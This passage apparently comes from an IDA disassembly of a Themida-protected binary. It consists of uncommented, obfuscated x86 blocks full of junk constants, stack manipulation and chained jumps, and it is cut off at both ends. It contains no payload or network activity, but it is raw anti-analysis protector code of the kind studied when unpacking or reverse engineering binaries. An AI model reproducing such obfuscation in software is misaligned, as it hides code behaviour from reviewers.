; ---------------------------------------------------------------------------
loc_5AE8C3: ; CODE XREF: Themida_:0059E21Dj
not ebp
inc ebp
xor ebp, 0B336FB8Dh
mov edi, ebp
pop ebp
add ebp, 72DC5BC4h
add ebp, 4B13532h
sub ebp, edi
push ebx
jmp loc_5AAD17
; ---------------------------------------------------------------------------
loc_5AE8E3: ; CODE XREF: Themida_:005A8392j
neg ebx
jmp loc_5AB2F9
; ---------------------------------------------------------------------------
loc_5AE8EA: ; CODE XREF: Themida_:005AABEEj
mov esi, [esp]
add esp, 4
push 3185h
jmp loc_5A9DC6
; ---------------------------------------------------------------------------
loc_5AE8FA: ; CODE XREF: Themida_:005A580Fj
pop esi
jmp loc_5AF2DC
; ---------------------------------------------------------------------------
loc_5AE900: ; CODE XREF: Themida_:005A247Fj
add eax, 4CBE5BD6h
jle loc_5A138F
xor eax, 17D19C7h
jmp loc_5A3F09
; ---------------------------------------------------------------------------
loc_5AE915: ; CODE XREF: Themida_:005AEAD8j
or edx, 5364234Bh
ja loc_5A5667
and edx, 4D2E72A6h
jmp loc_5AE057
; ---------------------------------------------------------------------------
mov ah, bl
loc_5AE92E: ; CODE XREF: Themida_:005A6C84j
xor ebx, ebp
jmp loc_5A8C0B
; ---------------------------------------------------------------------------
loc_5AE935: ; CODE XREF: Themida_:0059FD17j
xor edi, 7A376811h
sub edi, 53F41A9Dh
jmp loc_59E1D8
; ---------------------------------------------------------------------------
loc_5AE946: ; CODE XREF: Themida_:005A56B2j
; Themida_:005AB84Fj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_59B0B3
; ---------------------------------------------------------------------------
loc_5AE959: ; CODE XREF: Themida_:005ABC90j
jmp loc_5A9216
; ---------------------------------------------------------------------------
loc_5AE95E: ; CODE XREF: Themida_:005A3ECEj
sub eax, ebx
jmp loc_5A4BE2
; ---------------------------------------------------------------------------
loc_5AE965: ; CODE XREF: Themida_:0059FAEAj
push ebx
jmp loc_5AD0C8
; ---------------------------------------------------------------------------
loc_5AE96B: ; CODE XREF: Themida_:0059F777j
push esp
jmp loc_59BA9C
; ---------------------------------------------------------------------------
loc_5AE971: ; CODE XREF: Themida_:0059B6C4j
push ebp
mov ebp, 1BE84A55h
jmp loc_5A6B46
; ---------------------------------------------------------------------------
loc_5AE97C: ; CODE XREF: Themida_:0059F01Dj
pop edi
sub ebx, 57FF6050h
add ebx, edi
add ebx, 57FF6050h
pop edi
sub edi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
add ebx, edi
jmp loc_59B40B
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push ecx
push 6863h
mov [esp], edi
push 63C2A251h
mov edi, [esp]
add esp, 4
push edi
jmp loc_59AC9C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AE9CC: ; CODE XREF: Themida_:0059A13Dj
mov [esp], edi
push 388Ch
jmp loc_5A4C28
; ---------------------------------------------------------------------------
loc_5AE9D9: ; CODE XREF: Themida_:005A6BCFj
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, esp
add ecx, 4
push 6503h
mov [esp], esi
jmp loc_5A6A00
; ---------------------------------------------------------------------------
loc_5AEA03: ; CODE XREF: Themida_:0059C3DAj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AEA08: ; CODE XREF: Themida_:005A1BAAj
mov ecx, 25E47F66h
or ebx, ecx
pop ecx
jmp loc_5AE12D
; ---------------------------------------------------------------------------
loc_5AEA15: ; CODE XREF: Themida_:005A0C0Aj
push 4A4715D4h
mov ecx, [esp]
push esi
jmp loc_5AF3CB
; ---------------------------------------------------------------------------
loc_5AEA23: ; CODE XREF: Themida_:005A0AA4j
add ebx, 4
xchg ebx, [esp]
pop esp
sub eax, edi
pop edi
add eax, edx
push 60A8h
mov [esp], edx
push eax
push 731B05C3h
pop eax
add eax, 0AA071230h
jmp loc_5A3EB1
; ---------------------------------------------------------------------------
loc_5AEA48: ; CODE XREF: Themida_:005A7563j
jz loc_5A5EB6
shl ebx, 1
jnp loc_59B7E4
push eax
push ecx
push 3DE5712Fh
pop ecx
jmp loc_5A6822
; ---------------------------------------------------------------------------
loc_5AEA63: ; CODE XREF: Themida_:005AC8A4j
push edx
push esp
pop edx
jmp loc_5A69DD
; ---------------------------------------------------------------------------
loc_5AEA6B: ; CODE XREF: Themida_:0059A904j
sub ch, 45h
pop edx
add dh, ch
pop ecx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 616Ch
mov [esp], edx
mov edx, esp
add edx, 4
push eax
mov eax, 6A5F66F0h
neg eax
ja loc_5A7D10
jmp loc_5A1F3B
; ---------------------------------------------------------------------------
loc_5AEA9E: ; CODE XREF: Themida_:005AC146j
add edx, 0EE508F90h
xor eax, edx
pop edx
jmp loc_5A2013
; ---------------------------------------------------------------------------
loc_5AEAAC: ; CODE XREF: Themida_:0059FBADj
xor ebx, 58616B55h
jmp loc_5A8122
; ---------------------------------------------------------------------------
loc_5AEAB7: ; CODE XREF: Themida_:005A409Fj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AEABC: ; CODE XREF: Themida_:0059FF40j
sub esi, 42150DA5h
xor edx, esi
pop esi
jmp loc_599EA3
; ---------------------------------------------------------------------------
loc_5AEACA: ; CODE XREF: Themida_:005ABA54j
pop eax
jmp loc_59BB65
; ---------------------------------------------------------------------------
loc_5AEAD0: ; CODE XREF: Themida_:005A28E9j
not edx
and edx, 20E166D1h
jz loc_5AE915
or edx, 5364234Bh
ja loc_59AC24
and edx, 4D2E72A6h
jmp loc_5A4BDB
; ---------------------------------------------------------------------------
loc_5AEAF5: ; CODE XREF: Themida_:005AC26Aj
; Themida_:005AE1DBj
add eax, ecx
pop ecx
jmp loc_598B4C
; ---------------------------------------------------------------------------
loc_5AEAFD: ; CODE XREF: Themida_:005AC675j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AEB0B: ; CODE XREF: Themida_:0059F1EBj
pop ebx
sub bl, ch
mov cx, [esp]
add esp, 2
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_5A623F
; ---------------------------------------------------------------------------
loc_5AEB2A: ; CODE XREF: Themida_:005AB2B5j
mov eax, 0
add eax, edx
add dword ptr [eax], 1
pop eax
jmp loc_5A9606
; ---------------------------------------------------------------------------
loc_5AEB3D: ; CODE XREF: Themida_:0059FDEAj
mov ebx, esi
pop esi
sub ebx, 7B664954h
dec ebx
jns loc_5A0A71
add ebx, 0A7672EEh
jno loc_5A8355
jmp loc_59B172
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_59F065
; ---------------------------------------------------------------------------
mov ch, al
loc_5AEB68: ; CODE XREF: Themida_:005AB91Aj
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_5AE559
; ---------------------------------------------------------------------------
loc_5AEB8F: ; CODE XREF: Themida_:005A00E6j
pop ebp
push esi
push edi
jmp loc_59FB20
; ---------------------------------------------------------------------------
loc_5AEB97: ; CODE XREF: Themida_:005A096Cj
push ecx
mov ecx, 3C91C503h
add ebp, ecx
pop ecx
xchg esi, ebp
xchg ecx, esi
not ecx
push esi
push ecx
pop esi
pop ecx
xchg esi, ebp
add ebp, 8A7C5562h
push ebp
mov ebp, 5EAF2219h
add ebx, ebp
jmp loc_5A01CC
; ---------------------------------------------------------------------------
loc_5AEBBF: ; CODE XREF: Themida_:005A20DDj
dec edi
sub esp, 4
jmp loc_5A32D0
; ---------------------------------------------------------------------------
loc_5AEBCB: ; CODE XREF: Themida_:00598F63j
add eax, 2B02D5Bh
add eax, ebx
sub eax, 2B02D5Bh
add eax, 38285947h
jmp loc_5AAC15
; ---------------------------------------------------------------------------
loc_5AEBE1: ; CODE XREF: Themida_:005A7E12j
jmp loc_59AE38
; ---------------------------------------------------------------------------
loc_5AEBE6: ; CODE XREF: Themida_:0059F408j
sub [esp+0Ch], edi
pop edi
jmp loc_5A72F8
; ---------------------------------------------------------------------------
loc_5AEBF0: ; CODE XREF: Themida_:005A01E0j
; Themida_:005A67F8j
add edx, 4
jmp loc_5A1AE5
; ---------------------------------------------------------------------------
loc_5AEBF8: ; CODE XREF: Themida_:005A39CEj
add dword ptr [esp], 51DB57A0h
pop edi
sub edi, 51DB57A0h
pop ebp
mov eax, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
jmp loc_5AED5D
; ---------------------------------------------------------------------------
loc_5AEC18: ; CODE XREF: Themida_:005993FCj
jmp loc_5AB444
; ---------------------------------------------------------------------------
loc_5AEC1D: ; CODE XREF: Themida_:005A84D5j
jp loc_59A1D6
jmp loc_5AECF7
; ---------------------------------------------------------------------------
loc_5AEC28: ; CODE XREF: Themida_:005ACEDBj
mov ecx, 5FA903A0h
shr ecx, 6
xor ecx, 7295943Eh
add edx, ecx
mov ecx, [esp]
add esp, 4
pop ebp
jmp loc_59C912
; ---------------------------------------------------------------------------
loc_5AEC47: ; CODE XREF: Themida_:005A91DEj
push 3AD3h
mov [esp], ebx
mov ebx, 7F687310h
push 0B4Fh
mov [esp], esi
mov esi, 6D597893h
sub ebx, esi
pop esi
shr ebx, 6
push 55BEh
mov [esp], esi
push edi
mov edi, 317B4A3Bh
shl edi, 5
not edi
and edi, 7B02644h
jmp loc_5AA787
; ---------------------------------------------------------------------------
loc_5AEC85: ; CODE XREF: Themida_:005AAC93j
add esi, 38682825h
jmp loc_59E6CF
; ---------------------------------------------------------------------------
loc_5AEC90: ; CODE XREF: Themida_:005A85B1j
or ebx, 75B9602Fh
xchg ecx, ebx
not ecx
xchg ecx, ebx
xor ebx, 6DC41986h
push edx
jmp loc_5989BA
; ---------------------------------------------------------------------------
loc_5AECA8: ; CODE XREF: Themida_:005A88ECj
sub eax, 0FFFFFFFFh
shr eax, 6
jz loc_5A1FE8
push ecx
mov ecx, 25E97A6Fh
not ecx
jmp loc_59C896
; ---------------------------------------------------------------------------
loc_5AECC3: ; CODE XREF: Themida_:0059C552j
pop esi
jmp loc_5AE8A8
; ---------------------------------------------------------------------------
loc_5AECC9: ; CODE XREF: Themida_:005AAD50j
push ebx
jmp loc_5AE09E
; ---------------------------------------------------------------------------
loc_5AECCF: ; CODE XREF: Themida_:0059DB0Aj
add ebp, 0F774A9B5h
mov eax, ebp
pop ebp
mov edx, eax
pop eax
xor [esp+4], edx
push dword ptr [esp]
pop edx
push eax
jmp loc_5A50D9
; ---------------------------------------------------------------------------
loc_5AECE9: ; CODE XREF: Themida_:005A454Fj
sub eax, edx
pop edx
pop edi
add eax, 4
jmp loc_5AA04D
; ---------------------------------------------------------------------------
loc_5AECF7: ; CODE XREF: Themida_:005A899Fj
; Themida_:005AEC23j
mov edx, 3BC53F98h
push ebp
mov ebp, 3A8667B0h
add edx, ebp
push dword ptr [esp]
jmp loc_5A9C5A
; ---------------------------------------------------------------------------
loc_5AED0C: ; CODE XREF: Themida_:loc_5A8C06j
add ebx, 0F9A763ECh
jmp loc_5A62DA
; ---------------------------------------------------------------------------
loc_5AED17: ; CODE XREF: Themida_:005A733Aj
push ebp
push eax
mov eax, 1E0F1E36h
push eax
add dword ptr [esp], 3125AB9h
jmp loc_599B2E
; ---------------------------------------------------------------------------
loc_5AED2B: ; CODE XREF: Themida_:005A26BEj
push ebx
mov bl, ch
push ecx
mov cl, bl
jmp loc_5A6EA7
; ---------------------------------------------------------------------------
loc_5AED36: ; CODE XREF: Themida_:0059AED4j
shl ebx, 5
jmp loc_59E051
; ---------------------------------------------------------------------------
loc_5AED3E: ; CODE XREF: Themida_:005A90D7j
xor [esp], ebx
jmp loc_59A97E
; ---------------------------------------------------------------------------
loc_5AED46: ; CODE XREF: Themida_:00598419j
xor esi, 0A820A029h
mov ecx, esi
mov esi, [esp]
add esp, 4
push esi
jmp loc_59ADB4
; ---------------------------------------------------------------------------
loc_5AED5D: ; CODE XREF: Themida_:005AEC13j
add eax, 3F550B80h
add eax, edi
push 5E91h
mov [esp], edx
mov edx, 2C685C88h
jmp loc_5A58B8
; ---------------------------------------------------------------------------
loc_5AED76: ; CODE XREF: Themida_:00598912j
xchg ecx, [esp]
jmp loc_5A3947
; ---------------------------------------------------------------------------
loc_5AED7E: ; CODE XREF: Themida_:loc_5985C3j
; Themida_:005AD2FEj
mov bh, 82h
shr bh, 8
js loc_5A7EB6
neg bh
dec bh
xor bh, 0D7h
jle loc_5AEF85
jmp loc_59D7F2
; ---------------------------------------------------------------------------
loc_5AED9B: ; CODE XREF: Themida_:0059ECD7j
xor ebx, edx
pop edx
xor ebx, 778BFBC2h
jmp loc_59BC4B
; ---------------------------------------------------------------------------
loc_5AEDA9: ; CODE XREF: Themida_:005A1B1Dj
add edi, 1FFE511Eh
jmp loc_5A2BAD
; ---------------------------------------------------------------------------
loc_5AEDB4: ; CODE XREF: Themida_:005985BEj
mov ecx, 3AAA4A2Eh
mov edx, ecx
pop ecx
add ebx, edx
jmp loc_5A07EB
; ---------------------------------------------------------------------------
loc_5AEDC3: ; CODE XREF: Themida_:loc_5A3384j
sub eax, 0E67B9BB1h
mov ecx, eax
mov eax, [esp]
jmp loc_5A31C9
; ---------------------------------------------------------------------------
loc_5AEDD2: ; CODE XREF: Themida_:005A35DAj
; Themida_:005AF318j
mov esi, 53373DB6h
and esi, 12205F81h
jmp loc_5A5672
; ---------------------------------------------------------------------------
loc_5AEDE2: ; CODE XREF: Themida_:005AAD99j
inc eax
sub eax, 5842258Dh
add edx, eax
pop eax
jmp loc_5AC568
; ---------------------------------------------------------------------------
loc_5AEDF0: ; CODE XREF: Themida_:005A4568j
mov edi, 4
add eax, edi
jmp loc_5A51DC
; ---------------------------------------------------------------------------
loc_5AEDFC: ; CODE XREF: Themida_:005A2ECEj
or edi, 6E891EE9h
dec edi
push eax
mov eax, 1
sub edi, eax
pop eax
push ebx
push esp
pop ebx
jmp loc_59F9B2
; ---------------------------------------------------------------------------
loc_5AEE14: ; CODE XREF: Themida_:005A0A3Ej
xchg ecx, [esp]
pop esp
mov [esp], eax
mov eax, 2ADB50D5h
push 0
sub [esp], eax
jmp loc_5A4A14
; ---------------------------------------------------------------------------
loc_5AEE2D: ; CODE XREF: Themida_:00598B21j
pop eax
dec ebx
xor ebx, 55D5AE63h
sub ebp, ebx
mov ebx, [esp]
add esp, 4
add ebp, 415E6D59h
pop ebx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
imul cx
push edi
jmp loc_59FBB7
; ---------------------------------------------------------------------------
loc_5AEE59: ; CODE XREF: Themida_:005A9729j
add eax, 475D42F3h
jnp loc_599D18
add eax, 71412064h
jnb loc_5ADD25
mov ch, dh
pop esi
loc_5AEE72: ; CODE XREF: Themida_:0059B355j
mov al, 51h
xor al, dl
jmp loc_59CEFF
; ---------------------------------------------------------------------------
loc_5AEE7B: ; CODE XREF: Themida_:005A9660j
push dword ptr [esp+4]
mov ecx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 4
add ecx, ebx
mov ebx, [esp]
jmp loc_59890C
; ---------------------------------------------------------------------------
loc_5AEEA3: ; CODE XREF: Themida_:005A42F0j
pop eax
mov ebp, [esp]
add esp, 4
push edi
push eax
mov eax, ecx
mov edi, eax
pop eax
sub esp, 4
mov [esp], ecx
push ebx
mov ebx, edi
jmp loc_5A388E
; ---------------------------------------------------------------------------
loc_5AEEC5: ; CODE XREF: Themida_:005AB050j
pop edx
xor edx, 5C69089Ah
mov ebx, edx
pop edx
jmp loc_59DEE2
; ---------------------------------------------------------------------------
loc_5AEED4: ; CODE XREF: Themida_:005AF122j
xor eax, 75862CF9h
push edx
jmp loc_5A2178
; ---------------------------------------------------------------------------
loc_5AEEDF: ; CODE XREF: Themida_:005A941Aj
push edx
mov edx, 3C2279BCh
jmp loc_5A20A4
; ---------------------------------------------------------------------------
loc_5AEEEA: ; CODE XREF: Themida_:005A979Bj
shr eax, 7
shr eax, 1
shr eax, 2
sub eax, 375D70h
add ebp, eax
pop eax
sub ebp, 4
sub esp, 4
jmp loc_5AE238
; ---------------------------------------------------------------------------
loc_5AEF0B: ; CODE XREF: Themida_:0059E7F4j
mov [esp], esi
push 561701C2h
pop esi
shr esi, 7
sub esi, 3F7B2804h
jge loc_59E4AE
sub esp, 4
jmp loc_59DE7E
; ---------------------------------------------------------------------------
loc_5AEF2B: ; CODE XREF: Themida_:0059F6E4j
pop esp
jmp loc_59985D
; ---------------------------------------------------------------------------
loc_5AEF31: ; CODE XREF: Themida_:005A0F38j
sub ebx, 1000C09Bh
and eax, ebx
push dword ptr [esp]
jmp loc_5A9E49
; ---------------------------------------------------------------------------
loc_5AEF41: ; CODE XREF: Themida_:005A11A8j
not ecx
sub ecx, 0AAF22ABh
sub eax, ecx
pop ecx
jmp loc_59B7CB
; ---------------------------------------------------------------------------
loc_5AEF51: ; CODE XREF: Themida_:loc_5A5D9Ej
; Themida_:005AAD0Aj
add edx, 0C757B78h
jbe loc_5A6962
xor edx, 2DD67E54h
mov eax, edx
jmp loc_5999B8
; ---------------------------------------------------------------------------
loc_5AEF6A: ; CODE XREF: Themida_:0059D4D6j
mov edx, esp
jmp loc_5A9B0F
; ---------------------------------------------------------------------------
loc_5AEF71: ; CODE XREF: Themida_:005AC4BDj
and ecx, 4355281Dh
jp loc_5A84D2
shr ecx, 4
jmp loc_5AE699
; ---------------------------------------------------------------------------
loc_5AEF85: ; CODE XREF: Themida_:005AD75Bj
; Themida_:005AED90j
mov ebx, 4B7D7A9Bh
xor ebx, 0B4828564h
jmp loc_5A6406
; ---------------------------------------------------------------------------
loc_5AEF95: ; CODE XREF: Themida_:005A14A8j
not ebx
add ebx, 1
push edi
mov edi, 77623554h
or ebx, edi
pop edi
jmp loc_5A9894
; ---------------------------------------------------------------------------
loc_5AEFA8: ; CODE XREF: Themida_:005A0BFEj
xchg edx, ebp
jmp loc_5A0E21
; ---------------------------------------------------------------------------
loc_5AEFAF: ; CODE XREF: Themida_:005AC1EEj
mov ecx, esp
add ecx, 4
jmp loc_5A6CA2
; ---------------------------------------------------------------------------
loc_5AEFBC: ; CODE XREF: Themida_:0059D849j
pop esp
jmp loc_5A57F9
; ---------------------------------------------------------------------------
loc_5AEFC2: ; CODE XREF: Themida_:0059B49Bj
pop esp
jmp loc_5AC94A
; ---------------------------------------------------------------------------
loc_5AEFC8: ; CODE XREF: Themida_:005AB39Dj
add dl, bh
pop bx
neg dl
add dl, 42h
not dl
sub dl, 37h
or ch, dl
pop edx
jmp loc_5AD438
; ---------------------------------------------------------------------------
loc_5AEFDE: ; CODE XREF: Themida_:005A3C78j
; Themida_:005A6606j
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5A1835
; ---------------------------------------------------------------------------
loc_5AEFED: ; CODE XREF: Themida_:005AB62Fj
and edx, 389443D8h
add edx, 0F4C969C2h
and edi, edx
mov edx, [esp]
push 504Fh
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_59A25A
; ---------------------------------------------------------------------------
loc_5AF013: ; CODE XREF: Themida_:005A9060j
push ecx
mov ecx, esp
jmp loc_59B88F
; ---------------------------------------------------------------------------
mov ax, [esp]
push 23F1h
mov [esp], esi
push esp
push dword ptr [esp]
pop esi
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5A27A7
; ---------------------------------------------------------------------------
loc_5AF040: ; CODE XREF: Themida_:0059F845j
; Themida_:005AE231j
push edx
mov dl, 32h
shl dl, 6
xor dl, 87h
push eax
mov al, 59h
jmp loc_5A950D
; ---------------------------------------------------------------------------
loc_5AF051: ; CODE XREF: Themida_:0059CBF0j
not dh
jmp loc_5AB550
; ---------------------------------------------------------------------------
loc_5AF058: ; CODE XREF: Themida_:00599EFCj
jl loc_599334
xor esi, 22EC2184h
mov [edx+30h], esi
mov esi, [esp]
add esp, 4
jmp loc_5AC2EB
; ---------------------------------------------------------------------------
loc_5AF075: ; CODE XREF: Themida_:005A4E64j
push ebp
jmp loc_5AA599
; ---------------------------------------------------------------------------
loc_5AF07B: ; CODE XREF: Themida_:005AB74Fj
jmp loc_5A8FF6
; ---------------------------------------------------------------------------
loc_5AF080: ; CODE XREF: Themida_:005A3263j
xor dh, 0B2h
jmp loc_5A7F76
; ---------------------------------------------------------------------------
loc_5AF088: ; CODE XREF: Themida_:00598A52j
sub cl, 31h
add cl, 64h
sub cl, ah
sub cl, 64h
jmp loc_5A63FA
; ---------------------------------------------------------------------------
loc_5AF098: ; CODE XREF: Themida_:005A599Fj
push 0C46h
mov [esp], esp
jmp loc_5AAF0A
; ---------------------------------------------------------------------------
loc_5AF0A5: ; CODE XREF: Themida_:0059E83Bj
pop esp
mov [esp], cx
mov ch, bh
jmp loc_5AF58E
; ---------------------------------------------------------------------------
loc_5AF0B1: ; CODE XREF: Themida_:005A76C8j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AF0B6: ; CODE XREF: Themida_:00599525j
add edx, 4
xchg edx, [esp]
pop esp
add esp, 4
push ebp
mov ebp, esp
jmp loc_5A8514
; ---------------------------------------------------------------------------
loc_5AF0CB: ; CODE XREF: Themida_:005A30B7j
xor edi, [esp]
mov esp, [esp]
ror byte ptr [esp], cl
pushf
jmp loc_59DCEA
; ---------------------------------------------------------------------------
loc_5AF0DA: ; CODE XREF: Themida_:0059B294j
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5AAAF4
; ---------------------------------------------------------------------------
loc_5AF0E8: ; CODE XREF: Themida_:005ABAF4j
pop esi
add ebp, 4
xchg ebp, [esp]
jmp loc_5A3F45
; ---------------------------------------------------------------------------
loc_5AF0F4: ; CODE XREF: Themida_:005A5EA9j
push edi
mov edi, 4
sub ebp, 0B640564h
sub ebp, edi
add ebp, 0B640564h
jmp loc_5A3FC5
; ---------------------------------------------------------------------------
loc_5AF10D: ; CODE XREF: Themida_:0059C5A3j
; Themida_:005A5D65j
xor edi, 6FD54227h
add eax, edi
pop edi
jmp loc_5991AB
; ---------------------------------------------------------------------------
loc_5AF11B: ; CODE XREF: Themida_:005A5755j
push ebp
push eax
mov eax, 6B9820E2h
jmp loc_5AEED4
; ---------------------------------------------------------------------------
loc_5AF127: ; CODE XREF: Themida_:005ACBB3j
xchg edi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
jmp loc_5AC250
; ---------------------------------------------------------------------------
loc_5AF13B: ; CODE XREF: Themida_:005A86A1j
add esi, 0FCFF6C5Ch
xor edx, esi
pop esi
xor eax, edx
pop edx
jmp loc_5AD7F3
; ---------------------------------------------------------------------------
loc_5AF14C: ; CODE XREF: Themida_:0059A47Aj
jmp loc_5A5F47
; ---------------------------------------------------------------------------
loc_5AF151: ; CODE XREF: Themida_:005A66D0j
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], edi
mov edi, 0BA5CACh
or ebp, edi
mov edi, [esp]
add esp, 4
sub ebp, 0FE5CFBh
add eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_59A04E
; ---------------------------------------------------------------------------
loc_5AF185: ; CODE XREF: Themida_:005A5428j
add esi, 4
add esi, 4
push 1FE8h
mov [esp], esi
push dword ptr [esp+4]
jmp loc_5A06DB
; ---------------------------------------------------------------------------
loc_5AF1A2: ; CODE XREF: Themida_:0059C76Bj
pop ecx
and edi, 13EA43DAh
jb loc_5AB168
shl edi, 5
push ebp
mov ebp, 1CBB702Ch
jmp loc_5A2068
; ---------------------------------------------------------------------------
loc_5AF1BD: ; CODE XREF: Themida_:loc_5AA221j
neg esi
jz loc_5A6493
shl esi, 4
jmp loc_59FE36
; ---------------------------------------------------------------------------
loc_5AF1CD: ; CODE XREF: Themida_:005A9749j
mov edx, esp
push ecx
jmp loc_5A4260
; ---------------------------------------------------------------------------
loc_5AF1D5: ; CODE XREF: Themida_:0059DEDDj
; Themida_:loc_5AB2C7j
add esp, 4
add esi, 4
jmp loc_59B271
; ---------------------------------------------------------------------------
loc_5AF1E3: ; CODE XREF: Themida_:005AB7D9j
sub esi, ebp
jmp loc_5AB3F5
; ---------------------------------------------------------------------------
loc_5AF1EA: ; CODE XREF: Themida_:005ADBD8j
sub ebx, 60855C3Fh
add ebx, edi
add ebx, 60855C3Fh
jmp loc_5A2B61
; ---------------------------------------------------------------------------
loc_5AF1FD: ; CODE XREF: Themida_:005AC282j
push dword ptr [esp]
jmp loc_5A3E9F
; ---------------------------------------------------------------------------
loc_5AF205: ; CODE XREF: Themida_:0059D7A2j
; Themida_:005A16F7j ...
push edx
mov edx, 5BD461D8h
sub edi, 4741574Fh
add edi, edx
add edi, 4741574Fh
pop edx
jmp loc_5A575A
; ---------------------------------------------------------------------------
loc_5AF21F: ; CODE XREF: Themida_:0059CF63j
push eax
push dword ptr [esp+4]
pop eax
jmp loc_59C602
; ---------------------------------------------------------------------------
loc_5AF22A: ; CODE XREF: Themida_:005ACBE4j
push esi
jmp loc_5A23D3
; ---------------------------------------------------------------------------
loc_5AF230: ; CODE XREF: Themida_:005A47CBj
xor edi, [esp]
xor [esp], edi
jmp loc_5AD966
; ---------------------------------------------------------------------------
loc_5AF23B: ; CODE XREF: Themida_:005AA578j
add esp, 4
sub ebx, 9F7632Eh
add ebx, eax
add ebx, 9F7632Eh
mov eax, [esp]
add esp, 4
jmp loc_59A3E8
; ---------------------------------------------------------------------------
loc_5AF25D: ; CODE XREF: Themida_:0059E9B3j
; Themida_:005A3F74j
xchg ecx, [esp]
pop esp
push ecx
push esi
push 6C46h
mov [esp], edx
push 1B731FCBh
jmp loc_5A7C89
; ---------------------------------------------------------------------------
loc_5AF275: ; CODE XREF: Themida_:005A1546j
jns loc_59B387
dec ah
jle loc_5A7143
mov ch, bl
loc_5AF285: ; CODE XREF: Themida_:0059FAC7j
add esp, 4
add edi, 4
jmp loc_59863C
; ---------------------------------------------------------------------------
loc_5AF293: ; CODE XREF: Themida_:005A6132j
shl edx, 6
js loc_5AAD03
inc edx
jle loc_5AD4AD
mov edi, ebx
sub al, 8Dh
loc_5AF2A7: ; CODE XREF: Themida_:005A4904j
sub ebx, 5AA75DF3h
add ebx, 7A60009Eh
jmp loc_59A67C
; ---------------------------------------------------------------------------
loc_5AF2B8: ; CODE XREF: Themida_:005AD3E8j
add esp, 4
sub eax, 0FFFFFFFFh
xor eax, 61153144h
sub edi, 0F1B2120h
jmp loc_59AAA4
; ---------------------------------------------------------------------------
loc_5AF2CE: ; CODE XREF: Themida_:005A5D2Ej
add esp, 4
add al, cl
push edx
jmp loc_598715
; ---------------------------------------------------------------------------
loc_5AF2DC: ; CODE XREF: Themida_:005AE8FBj
mov ebp, ebx
pop ebx
jmp loc_5A9203
; ---------------------------------------------------------------------------
loc_5AF2E4: ; CODE XREF: Themida_:005A24EAj
push ebp
mov ebp, 1D95653Ah
dec ebp
shr ebp, 3
jmp loc_59A1A0
; ---------------------------------------------------------------------------
loc_5AF2F3: ; CODE XREF: Themida_:0059EC97j
sub bl, cl
pop ecx
push edx
push ebp
mov ebp, 63675EC4h
or ebp, 3306324Bh
jmp loc_5AF4D9
; ---------------------------------------------------------------------------
loc_5AF308: ; CODE XREF: Themida_:005988C7j
shl eax, 3
dec eax
jmp loc_5A828D
; ---------------------------------------------------------------------------
loc_5AF311: ; CODE XREF: Themida_:005A5286j
jns loc_5A10EB
push ebx
jmp loc_5AEDD2
; ---------------------------------------------------------------------------
pop ebx
dec dl
pop esp
mov cx, [esp]
push 788Ah
jmp loc_5A182D
; ---------------------------------------------------------------------------
loc_5AF32F: ; CODE XREF: Themida_:0059C37Aj
push edi
mov edi, 4
add edx, 0C96040Bh
push eax
push edi
mov edi, 7B49452Ch
neg edi
push eax
mov eax, 42E57C53h
add eax, 9D1F27D9h
add edi, eax
jmp loc_59F66A
; ---------------------------------------------------------------------------
loc_5AF356: ; CODE XREF: Themida_:005A46BEj
xor al, 9
mov ch, al
pop eax
push eax
mov al, 0D1h
push small 0
sub [esp], al
jmp loc_5ADC7C
; ---------------------------------------------------------------------------
loc_5AF36A: ; CODE XREF: Themida_:005AC9A5j
mov ecx, [esp]
add esp, 4
add esp, 4
or eax, eax
jz loc_59CA19
push ecx
push 28h
pop ecx
push 0F39h
mov [esp], edi
jmp loc_59A6DC
; ---------------------------------------------------------------------------
loc_5AF392: ; CODE XREF: Themida_:005994D0j
sub esp, 4
push esp
pop dword ptr [esp]
push edi
push ecx
mov ecx, 3F8C784Bh
shl ecx, 6
jp loc_5A2AFB
add ecx, 1CE1ED44h
mov edi, ecx
mov ecx, [esp]
xor al, 0A1h
mov edi, ebx
loc_5AF3B8: ; CODE XREF: Themida_:005AD406j
push 15DFh
mov [esp], ecx
sub esp, 4
mov [esp], eax
jmp loc_5ACB24
; ---------------------------------------------------------------------------
loc_5AF3CB: ; CODE XREF: Themida_:005AEA1Ej
mov esi, esp
jmp loc_59C7E4
; ---------------------------------------------------------------------------
loc_5AF3D2: ; CODE XREF: Themida_:005A4493j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5AD24B
; ---------------------------------------------------------------------------
loc_5AF3DD: ; CODE XREF: Themida_:005A3CD2j
xor edi, ebx
jmp loc_599088
; ---------------------------------------------------------------------------
loc_5AF3E4: ; CODE XREF: Themida_:005A0A65j
add esi, 503CE251h
mov eax, esi
jmp loc_5A35DF
; ---------------------------------------------------------------------------
loc_5AF3F1: ; CODE XREF: Themida_:005A4249j
